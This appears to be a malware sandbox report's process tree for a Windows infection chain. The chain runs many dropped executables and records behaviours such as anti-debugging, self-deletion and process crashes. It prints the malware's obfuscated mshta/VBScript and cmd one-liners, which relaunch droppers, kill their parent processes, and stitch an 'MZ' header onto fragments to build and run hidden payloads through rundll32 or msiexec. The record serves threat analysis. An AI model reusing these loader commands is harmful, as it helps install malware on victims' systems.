C:\Users\Admin\Pictures\Adobe Films\0u2xG04QKCAjjQdTQBYBGzVU.exe"C:\Users\Admin\Pictures\Adobe Films\0u2xG04QKCAjjQdTQBYBGzVU.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\803309.exe"C:\Users\Admin\AppData\Local\803309.exe"5⤵
-
C:\Users\Admin\AppData\Local\784388.exe"C:\Users\Admin\AppData\Local\784388.exe"5⤵
-
C:\Users\Admin\AppData\Local\539665.exe"C:\Users\Admin\AppData\Local\539665.exe"5⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\539665.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\539665.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\539665.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\539665.exe" ) do taskkill -f -Im "%~NXZ"7⤵
-
C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"10⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ). RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q *10⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "11⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"11⤵
-
C:\Windows\SysWOW64\control.execontrol ..\WfNRfms4.K11⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "539665.exe"8⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\8059423.exe"C:\Users\Admin\AppData\Local\8059423.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"6⤵
-
C:\Users\Admin\AppData\Local\137866.exe"C:\Users\Admin\AppData\Local\137866.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4236 -s 15405⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"6⤵
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi7⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"9⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC9⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "10⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"10⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"7⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 6565⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 6685⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 6765⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 6885⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=15⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"6⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1c0,0x1bc,0x1b8,0x1c4,0x1b4,0x7ffbfd07dec0,0x7ffbfd07ded0,0x7ffbfd07dee07⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=1784 /prefetch:87⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=2188 /prefetch:87⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1736 /prefetch:27⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2524 /prefetch:17⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2496 /prefetch:17⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=3208 /prefetch:87⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3264 /prefetch:27⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=3440 /prefetch:87⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=3656 /prefetch:87⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=2700 /prefetch:87⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1720,11728144235834901634,12809831083448425861,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5676_446250908" --mojo-platform-channel-handle=3788 /prefetch:87⤵
-
C:\Users\Admin\AppData\Local\Temp\chrome1.exe"C:\Users\Admin\AppData\Local\Temp\chrome1.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\chrome2.exe"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\chrome update.exe"C:\Users\Admin\AppData\Local\Temp\chrome update.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\scfT65Yi8gy0dT5r5wdXmZND.exe"C:\Users\Admin\Pictures\Adobe Films\scfT65Yi8gy0dT5r5wdXmZND.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\scfT65Yi8gy0dT5r5wdXmZND.exe" & exit4⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 55⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Pictures\Adobe Films\IuYBm3lYwBFvWH4EQPU9_Ywq.exe"C:\Users\Admin\Pictures\Adobe Films\IuYBm3lYwBFvWH4EQPU9_Ywq.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\IuYBm3lYwBFvWH4EQPU9_Ywq.exe"C:\Users\Admin\Pictures\Adobe Films\IuYBm3lYwBFvWH4EQPU9_Ywq.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\ydWz5wGfm19stkAY4iMIn9Xd.exe"C:\Users\Admin\Pictures\Adobe Films\ydWz5wGfm19stkAY4iMIn9Xd.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\Adobe Films\_Jl5NRQH_VCxgKevGBMlhDUr.exe"C:\Users\Admin\Pictures\Adobe Films\_Jl5NRQH_VCxgKevGBMlhDUr.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\fIluvx59br0pDNhWxyCvlECC.exe"C:\Users\Admin\Pictures\Adobe Films\fIluvx59br0pDNhWxyCvlECC.exe"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\64sJSaHtBgpmY3s9JraLL3AH.exe"C:\Users\Admin\Pictures\Adobe Films\64sJSaHtBgpmY3s9JraLL3AH.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\64sJSaHtBgpmY3s9JraLL3AH.exe"C:\Users\Admin\Pictures\Adobe Films\64sJSaHtBgpmY3s9JraLL3AH.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe"C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exe" ) do taskkill -im "%~NxK" -F5⤵
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ( "WSCRIPt.SheLl" ). rUn ( "C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " , 0 , TruE ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY8⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "9⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"9⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\N3V4H8H.SXY9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "rJhMZvnFmewWMgIePRFsY_sA.exe" -F6⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\U8hSQeS66LgtVXmVBPhymyYt.exe"C:\Users\Admin\Pictures\Adobe Films\U8hSQeS66LgtVXmVBPhymyYt.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2088 -s 11644⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\7nRws0NZGWjLcr1qIJ1Igckp.exe"C:\Users\Admin\Pictures\Adobe Films\7nRws0NZGWjLcr1qIJ1Igckp.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\7nRws0NZGWjLcr1qIJ1Igckp.exe" & exit4⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 55⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Pictures\Adobe Films\zpFE8L30S3ZheXNi_5l2ALWi.exe"C:\Users\Admin\Pictures\Adobe Films\zpFE8L30S3ZheXNi_5l2ALWi.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1296 -s 8924⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\Adobe Films\QRv0Xx09eP0r7lpAjuMx11pq.exe"C:\Users\Admin\Pictures\Adobe Films\QRv0Xx09eP0r7lpAjuMx11pq.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Underdress.exeC:\Users\Admin\AppData\Roaming\Underdress.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exeC:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe4⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3080 -s 5565⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\mI2vdU7xMU71GNyMSHNLycKr.exe"C:\Users\Admin\Pictures\Adobe Films\mI2vdU7xMU71GNyMSHNLycKr.exe"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\A3Rw_r8xR62BWeGihBmsdcHY.exe"C:\Users\Admin\Pictures\Adobe Films\A3Rw_r8xR62BWeGihBmsdcHY.exe"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\3W_ChRgsBOU9yBhDHPqm8yDD.exe"C:\Users\Admin\Pictures\Adobe Films\3W_ChRgsBOU9yBhDHPqm8yDD.exe"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\RbCJ73zVujImtMJHqjLMBZ0z.exe"C:\Users\Admin\Pictures\Adobe Films\RbCJ73zVujImtMJHqjLMBZ0z.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cscript.exe"C:\Windows\SysWOW64\cscript.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\mbSorhGxB1pNBjghFG36e2Ru.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\2291.exeC:\Users\Admin\AppData\Local\Temp\2291.exe2⤵
-
C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\A425.exeC:\Users\Admin\AppData\Local\Temp\A425.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\is-7INLQ.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-7INLQ.tmp\setup.tmp" /SL5="$7006C,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT2⤵
-
C:\Users\Admin\AppData\Local\Temp\is-B3219.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-B3219.tmp\setup.tmp" /SL5="$3023A,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT3⤵
-
